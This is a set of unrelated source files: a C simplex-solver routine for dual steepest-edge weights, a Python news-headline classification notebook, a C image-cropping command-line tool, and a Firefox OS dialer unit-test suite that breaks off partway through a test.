if ( TypeDeSortie == VECTEUR_LU ) {
*StockageDeTau = VECTEUR_SPX;
/* Ca s'est pas bien passe et on s'est forcement retrouve en VECTEUR_LU */
Spx->NbEchecsTau++;
/*printf("Echec hyper creux Tau iteration %d\n",Spx->Iteration);*/
if ( Spx->NbEchecsTau >= SEUIL_ECHEC_CREUX_STEEPEST ) {
# if VERBOSE_SPX
printf("Arret de l'hyper creux pour le steepest edge, iteration %d\n",Spx->Iteration);
# endif
Spx->CalculTauEnHyperCreux = NON_SPX;
Spx->CountEchecsTau = 0;
}
}
else Spx->NbEchecsTau = 0;
}
/* Si on est pas en hyper creux, on essaie d'y revenir */
if ( HyperCreuxInitial == NON_SPX ) {
if ( Spx->CalculABarreSEnHyperCreuxPossible == OUI_SPX ) {
if ( Spx->CalculTauEnHyperCreuxPossible == OUI_SPX ) {
if ( Spx->CalculTauEnHyperCreux == NON_SPX ) {
SPX_TenterRestaurationCalculTauEnHyperCreux( Spx );
/* Test: on n'arrive plus a faire de l'hyper creux alors que ce serait possible: on fait un reset
de l'espace de reference pour ameliorer le creux du vecteur Tau */
InDualFramework = Spx->InDualFramework;
NumerosDesVariablesHorsBase = Spx->NumerosDesVariablesHorsBase;
if ( Spx->CalculTauEnHyperCreuxPossible == NON_SPX ) {
if ( Spx->TypeDeCreuxDeLaBase == BASE_HYPER_CREUSE && Spx->CalculABarreSEnHyperCreux == OUI_SPX &&
Spx->CalculErBMoinsUnEnHyperCreux == OUI_SPX ) {
/* On compte les variable HB dans le framework. S'il y en a beaucoup alors il y a peu de chances
qu'on puisse faire de l'hyper creux dans le steepest edge */
for ( il = 0 , i = 0 ; i < Spx->NombreDeVariablesHorsBase ; i++ ) {
if ( InDualFramework[NumerosDesVariablesHorsBase[i]] == OUI_SPX ) il++;
}
if ( il > ceil ( 0.2 * Spx->NombreDeVariablesHorsBase ) ) {
SPX_ResetReferenceSpace( Spx );
# if VERBOSE_SPX
printf("Iteration %d reset reference space car on peut plus faire d'hyper creux\n",Spx->Iteration);
# endif
*ResetRefSpace = OUI_SPX;
return;
}
}
}
/* Fin test */
}
}
}
}
return;
}
/*----------------------------------------------------------------------------*/
void SPX_DualSteepestControleDuPoidsDeCntBase( PROBLEME_SPX * Spx, double BetaP, char * ResetRefSpace )
{
int IndexCntBase;
if ( Spx->UtiliserLaBaseReduite == OUI_SPX ) {
IndexCntBase = Spx->OrdreColonneDeLaBaseFactorisee[Spx->ContrainteDeLaVariableEnBase[Spx->VariableSortante]];
}
else {
IndexCntBase = Spx->ContrainteDeLaVariableEnBase[Spx->VariableSortante];
}
if ( Spx->DualPoids[IndexCntBase] > /*2.*/ 4. * BetaP || Spx->DualPoids[IndexCntBase] < /*0.5*/ 0.25 * BetaP ) {
#if VERBOSE_SPX
printf("Iteration %d BetaP %e Spx->DualPoids[CntBase] %e CntBase %d\n",Spx->Iteration,BetaP,Spx->DualPoids[IndexCntBase],IndexCntBase);
printf("VariableSortante %d VariableEntrante %d\n",Spx->VariableSortante,Spx->VariableEntrante);
printf("Iteration %d RESET REFERENCE SPACE par derive excessive des poids\n",Spx->Iteration);
#endif
*ResetRefSpace = OUI_SPX;
SPX_ResetReferenceSpace( Spx );
return;
}
return;
}
/*----------------------------------------------------------------------------*/
void SPX_DualSteepestVariablesDeBornesIdentiques( PROBLEME_SPX * Spx, double * BetaP )
{
/* Dynamic steepest edge: si la variable sortante est une variable basique artificielle on l'enleve de
l'espace de reference */
if ( Spx->Xmin[Spx->VariableSortante] == Spx->Xmax[Spx->VariableSortante] ) {
if ( Spx->InDualFramework[Spx->VariableSortante] == OUI_SPX ) {
Spx->InDualFramework[Spx->VariableSortante] = NON_SPX;
*BetaP = *BetaP - DUAL_POIDS_INITIAL;
}
}
return;
}
/*----------------------------------------------------------------------------*/
/* Attention il s'agit de la methode "Projected Steepest Edge" */
void SPX_MajPoidsDualSteepestEdge( PROBLEME_SPX * Spx )
{
int Index; int IndexCntBase; char ResetRefSpace; double BetaP; double Rapport; double X;
double UnSurABarreSCntBase ; char ResoudreLeSysteme; char * InDualFramework; int i;
double *ArrayABarreS; int VariableEntrante; double ABarreS; double * DualPoids; double * Tau;
int VariableSortante; int * CntDeABarreSNonNuls; char ResolutionEnHyperCreux;
int * IndexTermesNonNulsDeTau; int NbTermesNonNulsDeTau; char StockageDeTau;
int IndexMax;
if ( Spx->TypeDePricing == PRICING_DANTZIG ) return;
VariableEntrante = Spx->VariableEntrante;
VariableSortante = Spx->VariableSortante;
/* Calcul de BetaP */
InDualFramework = Spx->InDualFramework;
BetaP = 0.;
if ( InDualFramework[VariableSortante] == OUI_SPX ) BetaP = DUAL_POIDS_INITIAL;
if ( Spx->CalculABarreSEnHyperCreux == OUI_SPX && Spx->CalculTauEnHyperCreux == OUI_SPX ) ResolutionEnHyperCreux = OUI_SPX;
else ResolutionEnHyperCreux = NON_SPX;
if ( Spx->UtiliserLaBaseReduite == OUI_SPX ) {
SPX_DualSteepestEdgeResolutionBaseReduite( Spx, &BetaP, ResolutionEnHyperCreux, &ResetRefSpace, &NbTermesNonNulsDeTau, &StockageDeTau, &ResoudreLeSysteme );
}
else {
SPX_DualSteepestEdgeResolutionAvecBaseComplete( Spx, &BetaP, ResolutionEnHyperCreux, &ResetRefSpace, &NbTermesNonNulsDeTau, &StockageDeTau, &ResoudreLeSysteme );
}
if ( ResetRefSpace == OUI_SPX ) return;
DualPoids = Spx->DualPoids;
ArrayABarreS = Spx->ABarreS;
Tau = Spx->Tau;
IndexTermesNonNulsDeTau = (int *) Spx->ErBMoinsUn;
UnSurABarreSCntBase = 1. / Spx->ABarreSCntBase;
if ( Spx->UtiliserLaBaseReduite == OUI_SPX ) {
IndexMax = Spx->RangDeLaMatriceFactorisee;
IndexCntBase = Spx->OrdreColonneDeLaBaseFactorisee[Spx->ContrainteDeLaVariableEnBase[VariableSortante]];
}
else {
IndexMax = Spx->NombreDeContraintes;
IndexCntBase = Spx->ContrainteDeLaVariableEnBase[VariableSortante];
}
/* On n'aurait pas besoin de calculer DualPoids des contraintes dont la variable en base est
non bornee car ces variables ne sortent jamais de la base */
if ( ResoudreLeSysteme == OUI_SPX ) {
if ( Spx->TypeDeStockageDeABarreS == VECTEUR_SPX ) {
if ( StockageDeTau == VECTEUR_SPX ) {
for ( Index = 0 ; Index < IndexMax ; Index++ ) {
ABarreS = ArrayABarreS[Index];
if ( ABarreS != 0.0 ) {
Rapport = ABarreS * UnSurABarreSCntBase;
X = DualPoids[Index] + ( ( ( -2. * Tau[Index] ) + ( Rapport * BetaP ) ) * Rapport );
if ( X < SEUIL_CARRE_DE_NORME_TROP_FAIBLE ) {
#if VERBOSE_SPX
printf("Iteration %d Cnt %d X %e => RESET REFERENCE SPACE par carre de norme trop faible\n",Spx->Iteration,Index,X);
#endif
SPX_ResetReferenceSpace( Spx );
return;
}
DualPoids[Index] = X;
}
Tau[Index] = 0.0;
}
}
else {
for ( Index = 0 ; Index < IndexMax ; Index++ ) {
ABarreS = ArrayABarreS[Index];
if ( ABarreS != 0.0 ) {
Rapport = ABarreS * UnSurABarreSCntBase;
X = DualPoids[Index] + ( ( ( -2. * Tau[Index] ) + ( Rapport * BetaP ) ) * Rapport );
if ( X < SEUIL_CARRE_DE_NORME_TROP_FAIBLE ) {
#if VERBOSE_SPX
printf("Iteration %d Cnt %d X %e => RESET REFERENCE SPACE par carre de norme trop faible\n",Spx->Iteration,Index,X);
#endif
SPX_ResetReferenceSpace( Spx );
return;
}
DualPoids[Index] = X;
}
}
for ( i = 0 ; i < NbTermesNonNulsDeTau ; i++ ) Tau[IndexTermesNonNulsDeTau[i]] = 0.0;
}
}
else {
CntDeABarreSNonNuls = Spx->CntDeABarreSNonNuls;
for ( i = 0 ; i < Spx->NbABarreSNonNuls ; i++ ) {
Rapport = ArrayABarreS[i] * UnSurABarreSCntBase;
Index = CntDeABarreSNonNuls[i];
DualPoids[Index] += ( ( -2. * Tau[Index] ) + ( Rapport * BetaP ) ) * Rapport;
if ( DualPoids[Index] < SEUIL_CARRE_DE_NORME_TROP_FAIBLE ) {
#if VERBOSE_SPX
printf("Iteration %d Cnt %d X %e => RESET REFERENCE SPACE par carre de norme trop faible\n",
Spx->Iteration,Index,DualPoids[Index]);
#endif
SPX_ResetReferenceSpace( Spx );
return;
}
}
if ( StockageDeTau != VECTEUR_SPX ) {
for ( i = 0 ; i < NbTermesNonNulsDeTau ; i++ ) Tau[IndexTermesNonNulsDeTau[i]] = 0.0;
}
else {
for ( i = 0 ; i < IndexMax ; i++ ) Tau[i] = 0.0;
}
}
}
else {
if ( Spx->TypeDeStockageDeABarreS == VECTEUR_SPX ) {
for ( Index = 0 ; Index < IndexMax ; Index++ ) {
ABarreS = ArrayABarreS[Index];
if ( ABarreS != 0.0 ) {
Rapport = ABarreS * UnSurABarreSCntBase;
X = DualPoids[Index] + ( Rapport * BetaP * Rapport );
if ( X < SEUIL_CARRE_DE_NORME_TROP_FAIBLE ) {
#if VERBOSE_SPX
printf("Iteration %d Cnt %d X %e => RESET REFERENCE SPACE par carre de norme trop faible\n",Spx->Iteration,Index,X);
#endif
SPX_ResetReferenceSpace( Spx );
return;
}
DualPoids[Index] = X;
}
}
}
else {
CntDeABarreSNonNuls = Spx->CntDeABarreSNonNuls;
for ( i = 0 ; i < Spx->NbABarreSNonNuls ; i++ ) {
Rapport = ArrayABarreS[i] * UnSurABarreSCntBase;
Index = CntDeABarreSNonNuls[i];
X = DualPoids[Index] + ( Rapport * BetaP * Rapport );
if ( X < SEUIL_CARRE_DE_NORME_TROP_FAIBLE ) {
#if VERBOSE_SPX
printf("Iteration %d Cnt %d X %e => RESET REFERENCE SPACE par carre de norme trop faible\n",Spx->Iteration,Index,X);
#endif
SPX_ResetReferenceSpace( Spx );
return;
}
DualPoids[Index] = X;
}
}
}
DualPoids[IndexCntBase] = BetaP * UnSurABarreSCntBase * UnSurABarreSCntBase;
/* Dynamic steepest edge: on ajoute la variable entrante dans l'espace de reference */
if ( InDualFramework[VariableEntrante] == NON_SPX ) {
InDualFramework[VariableEntrante] = OUI_SPX;
DualPoids[IndexCntBase] += DUAL_POIDS_INITIAL;
}
return;
}
/*----------------------------------------------------------------------------*/
void SPX_TenterRestaurationCalculTauEnHyperCreux( PROBLEME_SPX * Spx )
{
int Index; double * Tau; int Count; int IndexMax;
if ( Spx->CountEchecsTau == 0 ) {
if ( Spx->Iteration % CYCLE_TENTATIVE_HYPER_CREUX == 0 ) {
Spx->NbEchecsTau = SEUIL_REUSSITE_CREUX;
Spx->CountEchecsTau = SEUIL_REUSSITE_CREUX + 2;
}
}
if ( Spx->CountEchecsTau == 0 ) return;
Spx->CountEchecsTau--;
/* On compte le nombre de termes non nuls du resultat */
Tau = Spx->Tau;
Count = 0;
if ( Spx->UtiliserLaBaseReduite == OUI_SPX ) {
IndexMax = Spx->RangDeLaMatriceFactorisee;
}
else {
IndexMax = Spx->NombreDeContraintes;
}
for ( Index = 0 ; Index < IndexMax ; Index++ ) if ( Tau[Index] != 0.0 ) Count++;
if ( Count < 0.1 * IndexMax ) Spx->NbEchecsTau--;
if ( Spx->NbEchecsTau <= 0 ) {
# if VERBOSE_SPX
printf("Remise en service de l'hyper creux pour le steepest edge, iteration %d\n",Spx->Iteration);
# endif
Spx->AvertissementsEchecsTau = 0;
Spx->CountEchecsTau = 0;
Spx->CalculTauEnHyperCreux = OUI_SPX;
}
else if ( Spx->CountEchecsTau <= 0 ) {
Spx->CountEchecsTau = 0;
if ( Spx->CalculTauEnHyperCreux == NON_SPX ) Spx->AvertissementsEchecsTau++;
if ( Spx->AvertissementsEchecsTau >= SEUIL_ABANDON_HYPER_CREUX ) {
# if VERBOSE_SPX
printf("Arret prolonge de l'hyper creux pour le steepest edge, iteration %d\n",Spx->Iteration);
# endif
Spx->CalculTauEnHyperCreuxPossible = NON_SPX;
}
}
return;
}
|
# --------------
# import packages
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
import re
from nltk.corpus import stopwords
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer
from sklearn.naive_bayes import MultinomialNB
from sklearn.multiclass import OneVsRestClassifier
from sklearn.linear_model import LogisticRegression
from sklearn.metrics import accuracy_score ,confusion_matrix
# Code starts here
# load data
news = pd.read_csv(path)
# subset data
news = news[['TITLE', 'CATEGORY']]
# distribution of classes
dist = news['CATEGORY'].value_counts()
# display class distribution
print(dist)
# display data
print(news.head())
# Code ends here
# --------------
# Code starts here
# stopwords
stop = set(stopwords.words('english'))
# retain only alphabets
news['TITLE'] = news['TITLE'].apply(lambda x: re.sub("[^a-zA-Z]", " ",x))
# convert to lowercase and tokenize
news['TITLE'] = news['TITLE'].apply(lambda x: x.lower().split())
# remove stopwords
news['TITLE'] = news['TITLE'].apply(lambda x: [i for i in x if i not in stop])
# join list elements
news['TITLE'] = news['TITLE'].apply(lambda x: " ".join(x))
# split into training and test sets
X_train, X_test, Y_train, Y_test = train_test_split(news['TITLE'],
news['CATEGORY'], test_size=0.2, random_state=3)
# Code ends here
# --------------
# Code starts here
# initialize count vectorizer
count_vectorizer = CountVectorizer()
# initialize tfidf vectorizer
tfidf_vectorizer = TfidfVectorizer(ngram_range=(1,3))
# fit and transform with count vectorizer
X_train_count = count_vectorizer.fit_transform(X_train)
X_test_count = count_vectorizer.transform(X_test)
# fit and transform with tfidf vectorizer
X_train_tfidf = tfidf_vectorizer.fit_transform(X_train)
X_test_tfidf = tfidf_vectorizer.transform(X_test)
# Code ends here
# --------------
# Code starts here
# initialize multinomial naive bayes
nb_1 = MultinomialNB()
nb_2 = MultinomialNB()
# fit on count vectorizer training data
nb_1.fit(X_train_count, Y_train)
# fit on tfidf vectorizer training data
nb_2.fit(X_train_tfidf, Y_train)
# accuracy with count vectorizer
acc_count_nb = accuracy_score(Y_test, nb_1.predict(X_test_count))
# accuracy with tfidf vectorizer
acc_tfidf_nb = accuracy_score(Y_test, nb_2.predict(X_test_tfidf))
# display accuracies
print('Naive Bayes with CountVectorizer: ',acc_count_nb)
print('Naive Bayes with Tf-idf: ',acc_tfidf_nb)
# Code ends here
# --------------
import warnings
warnings.filterwarnings('ignore')
# initialize logistic regression
logreg_1 = OneVsRestClassifier(LogisticRegression(random_state=10))
logreg_2 = OneVsRestClassifier(LogisticRegression(random_state=10))
# fit on count vectorizer training data
logreg_1.fit(X_train_count, Y_train)
# fit on tfidf vectorizer training data
logreg_2.fit(X_train_tfidf, Y_train)
# accuracy with count vectorizer
acc_count_logreg = accuracy_score(Y_test, logreg_1.predict(X_test_count))
# accuracy with tfidf vectorizer
acc_tfidf_logreg = accuracy_score(Y_test, logreg_2.predict(X_test_tfidf))
# display accuracies
print('Logistic Regression with CountVectorizer: ',acc_count_logreg)
print('LogisticRegression with Tf-idf: ',acc_tfidf_logreg)
# Code ends here
|
#ifndef _XMLMenu_h_
#define _XMLMenu_h_
#include "WithXMLMenu.h"
#endif
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <magick/api.h>
#include <getopt.h>
typedef struct {
int verbose;
int width;
int height;
int x;
int y;
int dx;
int dy;
int rows;
int cols;
char** argv;
} config_t;
typedef struct {
Image *image;
Image *croppedImage;
ImageInfo *imageInfo;
} image_t;
image_t image = {0};
config_t config = {
.rows = 1,
.cols = 1,
.verbose = 0
};
void
cleanup()
{
if (image.image != (Image *) NULL) {
DestroyImage(image.image);
}
if (image.imageInfo != (ImageInfo *) NULL) {
DestroyImageInfo(image.imageInfo);
}
DestroyMagick();
}
void
abort_(const char * s, ...)
{
fprintf(stderr, "%s: ", config.argv[0]);
va_list args;
va_start(args, s);
vfprintf(stderr, s, args);
fprintf(stderr, "\n");
va_end(args);
cleanup();
exit(1);
}
void
usage()
{
fprintf(stderr,
"%s: --input <input.png> --output <output.png> --x <x> --y <y> --width <width> --height <height> \n"\
"options:\n"\
" --dx <dx> (default: width)\n"\
" --dy <dy> (default: height)\n"\
" --rows <num rows> (default: 1)\n"\
" --cols <num columns> (default: 1)\n"\
" --verbose\n", config.argv[0]);
exit(1);
}
int
main(int argc, char **argv)
{
int c;
char* inputFile = 0;
char* outputFile = 0;
ExceptionInfo exception;
config.argv = argv;
InitializeMagick(NULL);
image.imageInfo=CloneImageInfo(0);
GetExceptionInfo(&exception);
while (1) {
static struct option long_options[] = {
{"verbose", no_argument, &config.verbose, 1},
{"width", required_argument, 0, 'w'},
{"height", required_argument, 0, 'h'},
{"output", required_argument, 0, 'o'},
{"input", required_argument, 0, 'i'},
{"x", required_argument, 0, 'x'},
{"y", required_argument, 0, 'y'},
{"dx", required_argument, 0, 'd'},
{"dy", required_argument, 0, 'f'},
{"rows", required_argument, 0, 'r'},
{"cols", required_argument, 0, 'c'},
{0, 0, 0, 0}
};
int option_index = 0;
c = getopt_long (argc, argv, "o:i:w:h:b:", long_options, &option_index);
if (c == -1)
break;
switch (c) {
case 0:
break;
case 'i':
inputFile = optarg;
break;
case 'o':
outputFile = optarg;
break;
case 'w':
if (sscanf(optarg, "%d", &config.width) != 1) {
abort_("invalid width");
}
break;
case 'h':
if (sscanf(optarg, "%d", &config.height) != 1) {
abort_("invalid height");
}
break;
case 'x':
if (sscanf(optarg, "%d", &config.x) != 1) {
abort_("invalid x");
}
break;
case 'y':
if (sscanf(optarg, "%d", &config.y) != 1) {
abort_("invalid x");
}
break;
case 'd':
if (sscanf(optarg, "%d", &config.dx) != 1) {
abort_("invalid dx");
}
break;
case 'f':
if (sscanf(optarg, "%d", &config.dy) != 1) {
abort_("invalid dy");
}
break;
case 'r':
if (sscanf(optarg, "%d", &config.rows) != 1) {
abort_("invalid rows");
}
break;
case 'c':
if (sscanf(optarg, "%d", &config.cols) != 1) {
abort_("invalid cols");
}
break;
case '?':
usage();
break;
default:
usage();
break;
}
}
if (inputFile == 0 || outputFile == 0 || config.width == 0 || config.height == 0) {
usage();
abort();
}
if (config.dx == 0 ) {
config.dx = config.width;
}
if (config.dy == 0 ) {
config.dy = config.height;
}
if (config.verbose) {
printf("x: %d, y: %d\n", config.x, config.y);
printf("dx: %d, dy: %d\n", config.dx, config.dy);
printf("width: %d, height: %d\n", config.width, config.height);
printf("rows: %d, cols: %d\n", config.rows, config.cols);
}
(void) strcpy(image.imageInfo->filename, inputFile);
image.image = ReadImage(image.imageInfo, &exception);
if (image.image == (Image *) NULL) {
CatchException(&exception);
abort_("Failed to read image %s\n", inputFile);
}
for (int x = config.x, count = 0; x < config.x+(config.cols*config.dx); x += config.dx) {
for (int y = config.y; y < config.y+(config.rows*config.dy); y += config.dy, count++) {
RectangleInfo rect = {
.x = x,
.y = y,
.width = config.width,
.height = config.height
};
if (config.verbose) {
printf("row %d cols %d %ld %ld %ld %ld\n", (y-config.y)/config.dy, (x-config.x)/config.dx, rect.x, rect.y, rect.width, rect.height);
}
image.croppedImage = CropImage(image.image, &rect, &exception);
if (config.rows > 1 || config.cols > 1) {
sprintf(image.croppedImage->filename, "%s-%d.png", outputFile, count);
} else {
strcpy(image.croppedImage->filename, outputFile);
}
if (!WriteImage(image.imageInfo, image.croppedImage)) {
CatchException(&image.croppedImage->exception);
abort_("Failed to write image %d\n", outputFile);
}
if (image.croppedImage != (Image *)NULL) {
DestroyImage(image.croppedImage);
}
}
}
cleanup();
return 0;
}
|
/* global ConfirmDialog, MocksHelper, MockIccHelper, MockLazyL10n, MockMozL10n,
MockNavigatorMozMobileConnections, MockNavigatorMozTelephony,
MockNavigatorSettings, Promise, TelephonyHelper */
'use strict';
require('/dialer/test/unit/mock_lazy_loader.js');
require('/dialer/test/unit/mock_confirm_dialog.js');
require('/shared/test/unit/mocks/mock_navigator_moz_mobile_connections.js');
require('/shared/test/unit/mocks/mock_navigator_moz_settings.js');
require('/shared/test/unit/mocks/mock_navigator_moz_telephony.js');
require('/shared/test/unit/mocks/dialer/mock_contacts.js');
require('/shared/test/unit/mocks/dialer/mock_lazy_l10n.js');
require('/dialer/test/unit/mock_icc_helper.js');
require('/dialer/js/telephony_helper.js');
var mocksHelperForTelephonyHelper = new MocksHelper([
'Contacts',
'ConfirmDialog',
'LazyL10n',
'LazyLoader',
'IccHelper'
]).init();
suite('telephony helper', function() {
var subject;
var realMozSettings;
var realMozTelephony;
var realMozMobileConnections;
var realMozL10n;
var spyConfirmShow;
var mockTelephony;
var mockCall;
var mockPromise;
mocksHelperForTelephonyHelper.attachTestHelpers();
suiteSetup(function() {
subject = TelephonyHelper;
realMozSettings = navigator.mozSettings;
navigator.mozSettings = MockNavigatorSettings;
realMozTelephony = navigator.mozTelephony;
navigator.mozTelephony = MockNavigatorMozTelephony;
realMozMobileConnections = navigator.mozMobileConnections;
navigator.mozMobileConnections = MockNavigatorMozMobileConnections;
realMozL10n = navigator.mozL10n;
navigator.mozL10n = MockMozL10n;
});
suiteTeardown(function() {
navigator.mozSettings = realMozSettings;
navigator.mozTelephony = realMozTelephony;
navigator.mozMobileConnections = realMozMobileConnections;
navigator.mozL10n = realMozL10n;
});
setup(function() {
spyConfirmShow = this.sinon.spy(ConfirmDialog, 'show');
mockTelephony = this.sinon.mock(MockNavigatorMozTelephony);
mockCall = {};
MockNavigatorMozMobileConnections[0].voice = {};
mockPromise = Promise.resolve(mockCall);
this.sinon.stub(MockNavigatorMozTelephony, 'dial',
function() { return mockPromise;});
this.sinon.stub(MockNavigatorMozTelephony, 'dialEmergency',
function() { return mockPromise;});
});
teardown(function() {
MockNavigatorMozMobileConnections.mTeardown();
MockNavigatorMozTelephony.mTeardown();
MockNavigatorSettings.mTeardown();
MockLazyL10n.keys = {};
});
function createCallError(name) {
return {call: {error: {name: (name || 'mock')}}};
}
test('should sanitize the given phone number before dialing', function() {
var dialNumber = '(01) 45.34 55-20';
subject.call(dialNumber, 0);
sinon.assert.calledWith(navigator.mozTelephony.dial, '0145345520');
});
suite('Emergency dialing >', function() {
var initialState;
setup(function() {
initialState = MockIccHelper.mCardState;
MockIccHelper.mCardState = 'unknown';
MockNavigatorMozMobileConnections[0].voice = { emergencyCallsOnly: true };
});
teardown(function() {
MockIccHelper.mCardState = initialState;
document.dispatchEvent(new CustomEvent('visibilitychange'));
});
test('should display the connecting message', function() {
subject.call('112', 0);
sinon.assert.calledWith(spyConfirmShow, 'connecting ...', '');
});
test('should hide the connecting message', function() {
subject.call('112', 0);
var spyConfirmHide = this.sinon.spy(ConfirmDialog, 'hide');
document.dispatchEvent(new CustomEvent('visibilitychange'));
sinon.assert.calledOnce(spyConfirmHide);
});
suite('when there is no sim card', function() {
test('it should always dial emergency with the first service',
function() {
var dialNumber = '112';
subject.call(dialNumber, 0);
sinon.assert.calledWith(navigator.mozTelephony.dialEmergency, '112');
});
});
suite('when there is a sim card', function() {
setup(function() {
MockNavigatorMozMobileConnections[0].iccId = 12;
});
test('it should dial emergency with the default service', function() {
var dialNumber = '112';
subject.call(dialNumber, 0);
sinon.assert.calledWith(navigator.mozTelephony.dialEmergency,
'112');
});
});
});
test('should dialEmergency if the connection is emergency only',
function() {
MockNavigatorMozMobileConnections[0].voice = { emergencyCallsOnly: true };
var dialNumber = '112';
subject.call(dialNumber, 0);
sinon.assert.calledWith(navigator.mozTelephony.dialEmergency, '112');
});
test('should hold the active line before dialing (if there is one)',
function() {
var dialNumber = '123456';
var holdStub = this.sinon.stub();
var mockActive = {
number: '1111',
state: 'connected',
hold: holdStub
};
MockNavigatorMozTelephony.active = mockActive;
subject.call(dialNumber, 0);
delete MockNavigatorMozTelephony.active;
mockActive.onheld();
sinon.assert.calledWith(navigator.mozTelephony.dial, dialNumber);
assert.isTrue(holdStub.calledBefore(navigator.mozTelephony.dial));
assert.isNull(mockActive.onheld);
});
['evdo0', 'evdoa', 'evdob', '1xrtt', 'is95a', 'is95b', 'ehrpd'].forEach(
function(type) {
test('should NOT hold the active line before dialing in CDMA mode ' + type,
function() {
MockNavigatorMozMobileConnections[0].voice.type = type;
var dialNumber = '123456';
var holdStub = this.sinon.stub();
var mockActive = {
number: '1111',
state: 'connected',
hold: holdStub
};
MockNavigatorMozTelephony.active = mockActive;
subject.call(dialNumber, 0);
delete MockNavigatorMozTelephony.active;
sinon.assert.calledWith(navigator.mozTelephony.dial, dialNumber);
assert.isFalse(holdStub.calledBefore(navigator.mozTelephony.dial));
});
});
test('should hold the active group call before dialing (if there is one)',
function() {
var dialNumber = '123456';
var holdStub = this.sinon.stub();
MockNavigatorMozTelephony.conferenceGroup.calls =
[{number: '111111', serviceId: 0}, {number: '222222', serviceId: 0}];
MockNavigatorMozTelephony.conferenceGroup.state = 'connected';
MockNavigatorMozTelephony.conferenceGroup.hold = holdStub;
MockNavigatorMozTelephony.active =
MockNavigatorMozTelephony.conferenceGroup;
subject.call(dialNumber, 0);
delete MockNavigatorMozTelephony.active;
MockNavigatorMozTelephony.conferenceGroup.onheld();
sinon.assert.calledWith(navigator.mozTelephony.dial, dialNumber);
assert.isTrue(holdStub.calledBefore(navigator.mozTelephony.dial));
assert.isNull(MockNavigatorMozTelephony.conferenceGroup.onheld);
});
test('should not dial when call limit reached (2 normal call)', function() {
MockNavigatorMozTelephony.calls =
[{number: '111111', serviceId: 0}, {number: '222222', serviceId: 0}];
subject.call('333333', 0);
assert.isTrue(spyConfirmShow.calledWith('unableToCallTitle',
'unableToCallMessage'));
});
test('should not dial when call limit reached (1 normal call + 1 group call)',
function() {
MockNavigatorMozTelephony.calls = [{number: '111111', serviceId: 0}];
MockNavigatorMozTelephony.conferenceGroup.calls =
[{number: '222222', serviceId: 0}, {number: '333333', serviceId: 0}];
subject.call('444444', 0);
assert.isTrue(spyConfirmShow.calledWith('unableToCallTitle',
'unableToCallMessage'));
});
test('should return null serviceId - no call', function() {
assert.equal(subject.getInUseSim(), null);
});
test('should return call serviceId - call', function() {
MockNavigatorMozTelephony.calls = [{number: '111111', serviceId: 0}];
assert.equal(subject.getInUseSim(), 0);
});
test('should return call serviceId - conference call', function() {
MockNavigatorMozTelephony.conferenceGroup.calls =
[{number: '222222', serviceId: 0}, {number: '333333', serviceId: 0}];
assert.equal(subject.getInUseSim(), 0);
});
test('should display an error if there is no network', function() {
MockNavigatorMozMobileConnections[0].voice = null;
var dialNumber = '01 45 34 55 20';
subject.call(dialNumber, 0);
assert.isTrue(spyConfirmShow.calledWith('emergencyDialogTitle',
'emergencyDialogBodyBadNumber'));
});
test('should display an error if the number is invalid', function() {
var dialNumber = '01sfsafs45 34 55 20';
subject.call(dialNumber, 0);
assert.isTrue(spyConfirmShow.calledWith('invalidNumberToDialTitle',
'invalidNumberToDialMessage'));
});
suite('Callbacks binding', function() {
test('should trigger oncall as soon as we get a call object',
function(done) {
subject.call('123', 0, function() {
done();
});
});
test('should bind the onconnected callback', function(done) {
var onconnected = function uniq_onconnected() {};
subject.call('123', 0, null, onconnected);
mockPromise.then(function() {
assert.equal(mockCall.onconnected, onconnected);
}).then(done, done);
});
test('should bind the ondisconnected callback', function(done) {
var ondisconnected = function uniq_ondisconnected() {};
subject.call('123', 0, null, null, ondisconnected);
mockPromise.then(function() {
assert.isFunction(mockCall.ondisconnected);
assert.equal(mockCall.ondisconnected, ondisconnected);
}).then(done, done);
});
test('should trigger the onerror callback on error', function(done) {
var onerrorStub = this.sinon.stub();
subject.call('123', 0, null, null, null, onerrorStub);
mockPromise.then(function() {
mockCall.onerror(createCallError());
sinon.assert.called(onerrorStub);
}).then(done, done);
});
});
suite('Call error handling', function() {
suite('onerror call errors', function() {
// BadNumberError can come from the network
suite('BadNumberError handle', function() {
test('should display the BadNumber message', function(done) {
subject.call('123', 0);
mockPromise.then(function() {
mockCall.onerror(createCallError('BadNumberError'));
sinon.assert.calledWith(spyConfirmShow,'invalidNumberToDialTitle',
'invalidNumberToDialMessage');
}).then(done, done);
});
test('ModifiedDialError not displayed', function(done) {
subject.call('123', 0);
mockPromise.then(function() {
mockCall.onerror(createCallError('ModifiedDialError'));
sinon.assert.notCalled(spyConfirmShow,'ModifiedDialError');
}).then(done, done);
});
test('should display the NoNetwork message in emergency mode',
function(done) {
MockNavigatorMozMobileConnections[0].voice = {
emergencyCallsOnly: true
};
subject.call('123', 0);
mockPromise.then(function() {
mockCall.onerror(createCallError('BadNumberError'));
sinon.assert.calledWith(spyConfirmShow,'emergencyDialogTitle',
'emergencyDialogBodyBadNumber');
}).then(done, done);
});
});
test('should handle BusyError', function(done) {
subject.call('123', 0);
mockPromise.then(function() {
mockCall.onerror(createCallError('BusyError'));
assert.isTrue(spyConfirmShow.calledWith('numberIsBusyTitle',
'numberIsBusyMessage'));
}).then(done, done);
});
test('should handle FDNBlockedError', function(done) {
subject.call('123', 0);
mockPromise.then(function() {
mockCall.onerror(createCallError('FDNBlockedError'));
assert.isTrue(spyConfirmShow.calledWith('fdnIsActiveTitle',
'fdnIsActiveMessage'));
assert.deepEqual(MockLazyL10n.keys.fdnIsActiveMessage,
{number: '123'});
}).then(done, done);
});
test('should handle FdnCheckFailure', function(done) {
subject.call('123', 0);
mockPromise.then(function() {
mockCall.onerror(createCallError('FdnCheckFailure'));
assert.isTrue(spyConfirmShow.calledWith('fdnIsActiveTitle',
'fdnIsActiveMessage'));
assert.deepEqual(MockLazyL10n.keys.fdnIsActiveMessage,
{number: '123'});
}).then(done, done);
});
test('should handle DeviceNotAcceptedError', function(done) {
subject.call('123', 0);
mockPromise.then(function() {
mockCall.onerror(createCallError('DeviceNotAcceptedError'));
assert.isTrue(spyConfirmShow.calledWith('emergencyDialogTitle',
'emergencyDialogBodyDeviceNotAccepted'));
}).then(done, done);
});
});
suite('promise errors', function() {
// BadNumberError can come from a bad formatted number
suite('BadNumberError handle', function() {
test('should display the BadNumber message', function(done) {
